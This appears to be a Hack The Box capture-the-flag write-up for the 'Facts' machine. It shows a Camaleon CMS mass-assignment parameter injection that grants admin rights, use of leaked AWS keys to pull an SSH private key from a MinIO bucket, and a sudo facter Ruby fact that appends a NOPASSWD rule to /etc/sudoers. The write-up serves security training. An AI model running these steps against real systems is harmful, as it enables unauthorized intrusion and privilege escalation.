> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-facts.md).

# HTB - Facts

## Enumeration and Foothold

### NMAP

```bash
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
54321/tcp open  http    Golang net/http server
```

Browsing to port 80 reveals the domain name add it to hosts fie.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FNmLRrVR0uFnj2z0RFzx4%2Fimage.png?alt=media&amp;token=eee56fe0-9a28-4d87-9329-c1c49ed2fc81" alt=""><figcaption></figcaption></figure>

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F2Lzj89wiA4twL9OGVErY%2Fimage.png?alt=media&amp;token=64f50a88-19df-475a-acf3-8e56ca4d49ea" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FvKIRZuoGqOHD49Z4gl1O%2Fimage.png?alt=media&amp;token=02e2ed1d-b7eb-47ef-baa5-5f3e042710d6" alt=""><figcaption></figcaption></figure>

Clicking on start exploring redirects to this page.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FQXx2WOYjGtZdeNa5eHDJ%2Fimage.png?alt=media&amp;token=a6ae29d8-2be8-4940-a651-04899252869c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FMs6GIPKN267m5by4GPrh%2Fimage.png?alt=media&amp;token=711666d2-fb41-4fcd-a47f-a1959bc574f4" alt=""><figcaption></figcaption></figure>

There is a search feature and searching for a results in all the pages with the letter a

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FttNGGY957DUNv9inY1EA%2Fimage.png?alt=media&amp;token=7e6fe045-8c51-485c-841d-a43bd47e750d" alt=""><figcaption></figcaption></figure>

Testing for SQL injection results in nothing.

Directory Enumeration found a admin panel.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FNFL0GKNCX9NRgHCWQ56a%2Fimage.png?alt=media&amp;token=c211183b-fa64-4c9b-aa3f-eecfad01cd21" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fyptj7gh5yAcFpU3MhMqO%2Fimage.png?alt=media&amp;token=6fb7e59e-8c19-42c2-9764-ac2293180b5c" alt=""><figcaption></figcaption></figure>

I dont have any credentials yet but i can register a new account.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FcoQMNEGvmv2WxwCLA2Mf%2Fimage.png?alt=media&amp;token=2142aa3f-cc97-4002-9884-c0e860c72f2d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJ63qNZFH0HLilbwfPmOU%2Fimage.png?alt=media&amp;token=3741c142-5ea9-465a-9d13-f6632ea5170d" alt=""><figcaption></figcaption></figure>

Login with the credentials.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FrMlpkbzs0c32Y9rPc5wd%2Fimage.png?alt=media&amp;token=f891c157-4222-428f-9bf8-90a074313e0a" alt=""><figcaption></figcaption></figure>

The admin panel is built on Camaleon CMS.

Looking at the source code  i can find references of the cms.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F0N6y6LWHK46vpnomCxv1%2Fimage.png?alt=media&amp;token=c5d6a342-0cbf-4cf6-80f9-530ec1ecf185" alt=""><figcaption></figcaption></figure>

The Version of the CMS is 2.9.0 as mentioned on the dashboard.

That said i can look for public CVE if the CMS is vulnerable to any.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FzfZkui1rACplvoW9mRsV%2Fimage.png?alt=media&amp;token=b89a3ff1-1f47-4d6e-96e3-35fa6087ba83" alt=""><figcaption></figcaption></figure>

the CMS is vulnerable to two Vulnerabilities Mass Assignment and a Path Traversal in AWS s3 Uploader.

Found this reference for exploiting the Mass Assignment&#x20;

### **Camaleon CMS Mass Assignment**

{% embed url="<https://medium.com/@iamkumarraj/mass-assignment-vulnerability-in-camaleon-cms-2-9-0-ajax-privilege-escalation-9a09c8253b52>" %}

The blog describes a **Mass Assignment** flaw in **Camaleon CMS 2.9.0** (Ruby on Rails). The vulnerable endpoint is an AJAX method `updated_ajax` that updates a user’s password.\
Due to `params.require(:password).permit!`, an attacker can inject arbitrary attributes (e.g., `role`) into the nested `password` hash, leading to privilege escalation if the `role` column is not protected.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FdV8qrJoKEQ4xCdJBbAVj%2Fimage.png?alt=media&amp;token=99f23cc9-b55b-4b45-9a9d-8512140de874" alt=""><figcaption></figcaption></figure>

Checking the role of the user i created says Client. and the button is disabled.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FAeRyct2OJaQ83JTKBBzE%2Fimage.png?alt=media&amp;token=01781cb4-753a-4403-94bd-c2cbe33989ba" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FnVchB1xbK1hib0TGomAL%2Fimage.png?alt=media&amp;token=e162dfd7-75d8-469e-b714-ba027041f0f6" alt=""><figcaption></figcaption></figure>

Enabling the role through inspect element works and shows other options.

Logging out and logging in still says client.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FIg7uGzQ094Mj8cwHXla5%2Fimage.png?alt=media&amp;token=ce14e58c-d949-49a2-bf48-3d6b79fad018" alt=""><figcaption></figcaption></figure>

Looking at the blog post the vulnerability in the `/updated_ajax.`

`The change password option makes a request to the /updated_ajax.`

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F5qsx3BcfldFouajmnHQn%2Fimage.png?alt=media&amp;token=b587ca9d-ee23-44df-9d72-6142fa12db95" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FhEKt28d6IYpOGvGBJ4hm%2Fimage.png?alt=media&amp;token=cf885a4c-4201-4214-8e04-12d18cb61969" alt=""><figcaption></figcaption></figure>

According to the post adding `&password[role]=admin` at the end gives admin access.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FoRoBWl5eWLSX0zBjcDZ3%2Fimage.png?alt=media&amp;token=c149e826-6f73-4707-ba1b-4f116798664d" alt=""><figcaption></figcaption></figure>

and click forward.

Now logging out and logging in again gives access as Administrator

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FWTlfi9HruWBzVM8dJkrm%2Fimage.png?alt=media&amp;token=b5a6a904-b28b-4f6e-a6ed-90e6dff8e583" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FHdKwJgT7j3vJQrQPxxi0%2Fimage.png?alt=media&amp;token=b54ca9dc-99a4-4de9-ae35-e56790e40386" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F8qUsOd18PI9G4Xu8qhuy%2Fimage.png?alt=media&amp;token=d5249cae-563f-4f38-a7b8-d193a63a0aa1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FL6xxHJlNfUfneymrNG8d%2Fimage.png?alt=media&amp;token=0f83487d-3ad3-4f83-8620-dfe97ffdbc85" alt=""><figcaption></figcaption></figure>

The settings page exposes **plaintext AWS credentials** and bucket details:

| Field                 | Value                                      |
| --------------------- | ------------------------------------------ |
| **AWS S3 Access Key** | `AKIA8B4C22ED678DADC6`                     |
| **AWS S3 Secret Key** | `nmdUKLTg7vAmVESH3IT5T0MRrbT+7udUbkezselM` |
| **Bucket Name**       | `randomfacts`                              |
| **Region**            | `us-east-1`                                |
| **Bucket Endpoint**   | `http://localhost:54321`                   |
| **CloudFront URL**    | `http://facts.htb/randomfacts`             |

That said i am gonna use the AWS CLI.

The AWS Command Line Interface is the standard tool for interacting with AWS services.

#### AWS CLI&#x20;

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F094UgfzX8NFV9IVVfg5Q%2Fimage.png?alt=media&amp;token=e4ee8618-3b70-48a3-ab20-077b0a28294b" alt=""><figcaption></figcaption></figure>

```bash
──(ajay㉿kali)-[~]
└─$ export AWS_PROFILE=facts-htb 
```

Enumerating the S3 Buckets.

```bash
┌──(ajay㉿kali)-[~]
└─$ aws s3api list-buckets --profile facts-htb --endpoint-url http://facts.htb:54321
{
    "Buckets": [
        {
            "Name": "internal",
            "CreationDate": "2025-09-11T12:06:52.640000+00:00"
        },
        {
            "Name": "randomfacts",
            "CreationDate": "2025-09-11T12:06:52.603000+00:00"
        }
    ],
    "Owner": {
        "DisplayName": "minio",
        "ID": "02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4"
    },
    "Prefix": null
}

```

In addition to the public `randomfacts` bucket specified in the Web UI, there is an `internal` bucket.

Enumerating Internal Bucket.

```bash
──(ajay㉿kali)-[~]
└─$ aws s3 ls s3://internal --profile facts-htb --endpoint-url http://facts.htb:54321
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 18:45:13        220 .bash_logout
2026-01-08 18:45:13       3900 .bashrc
2026-01-08 18:47:17         20 .lesshst
2026-01-08 18:47:17        807 .profile
```

Enumerate the ssh directory

```bash
─(ajay㉿kali)-[~]
└─$ aws s3 ls s3://internal/.ssh/ --profile facts-htb --endpoint-url http://facts.htb:54321
2026-08-14 15:47:42         82 authorized_keys
2026-08-14 15:47:42        464 id_ed25519

──(ajay㉿kali)-[~]
└─$ aws s3 cp s3://internal/.ssh/authorized_keys - --profile facts-htb --endpoint-url http://facts.htb:54321
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG5EVptrRakqV+BD3DQ2wPKOYcQUOMGIDOaZ+5/3+mwN 

#Download the key
──(ajay㉿kali)-[~]
└─$ aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --profile facts-htb --endpoint-url http://facts.htb:54321                                                                                                              
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FOMhTaoHX3DCX3c4oQ4eB%2Fimage.png?alt=media&amp;token=f5732bfb-9d9d-4235-9a41-fac58e1613e2" alt=""><figcaption></figcaption></figure>

There is no username for which user the key belongs to.

So to extract the user from the key i will use the ssh-keygen.

where i will print public key from private key but the key is encrypted as it asks for password.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F0Z7xDKLdP2fbO4ilyNnE%2Fimage.png?alt=media&amp;token=55aaad9b-b9a3-4525-ae6f-9d18d8c5d6c8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FFGlzxifSMGYRH86ooNB5%2Fimage.png?alt=media&amp;token=e170ef17-f77e-455e-af9a-9414a1a45719" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FNjAvCnU7amkJw4TKsnf8%2Fimage.png?alt=media&amp;token=71739fe5-61e7-4723-8cd4-9c3ad62364a2" alt=""><figcaption></figcaption></figure>

and the key is for <trivia@facts.htb>

passphrase : `dragonballz`

## Shell as Trivia

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FpsezwaLiK6S4lpASTl9d%2Fimage.png?alt=media&amp;token=16838606-1e0b-4f36-bde1-c35b9817a881" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FX6S6t48RzpezkrZnHGSR%2Fimage.png?alt=media&amp;token=25eaee48-8e0a-4ea6-92b3-448f66caa4cb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FhY4sY8LnciStTJII9XEj%2Fimage.png?alt=media&amp;token=0635bc88-66f7-4408-8f7a-9cbe9daa165b" alt=""><figcaption></figcaption></figure>

```bash
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
    
trivia@facts:~$ cat /usr/bin/facter
#!/usr/bin/ruby
# frozen_string_literal: true

require 'pathname'
require 'facter/framework/cli/cli_launcher'

Facter::OptionsValidator.validate(ARGV)
processed_arguments = CliLauncher.prepare_arguments(ARGV)

CliLauncher.start(processed_arguments)
trivia@facts:~$ 

```

`trivia` can run `/usr/bin/facter` as root without a password. `facter` is a Ruby tool that gathers system facts. It can load **custom facts** from Ruby files in directories specified by:

* The `FACTERLIB` environment variable
* The `--custom-dir` command‑line option
* Default directories (e.g., `/etc/facter/facts.d`, `~/.facter/facts.d`)

Any Ruby code in those files is executed **as root** when `facter` runs. This gives a straightforward path to escalate privileges.

what i am gonna do is write a script that will do the following&#x20;

* The script defines a **custom fact** named `"x"` using the `Facter.add` method.
* Inside the `setcode` block, the code does **not** use a shell command; instead, it:
  * Opens `/etc/sudoers` in **append** mode (`"a"`).
  * Writes the line `"trivia ALL=(ALL) NOPASSWD: ALL"` to the file.

```bash
trivia@facts:~$ echo 'Facter.add("x") { setcode { File.open("/etc/sudoers", "a") { |f| f.puts "trivia ALL=(ALL) NOPASSWD: ALL" } } }' > /tmp/x.rb
trivia@facts:~$ sudo facter --custom-dir /tmp x

```

```bash
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
    (ALL) NOPASSWD: ALL

```

## Shell as Root

```bash
trivia@facts:~$ sudo su 
root@facts:/home/trivia# cd /root
root@facts:~# ls
minio-binaries  ministack  root.txt  snap
root@facts:~# cat root.txt
301ff5f93019599586f2c7c6a5a022b3
root@facts:~# 
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-facts.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
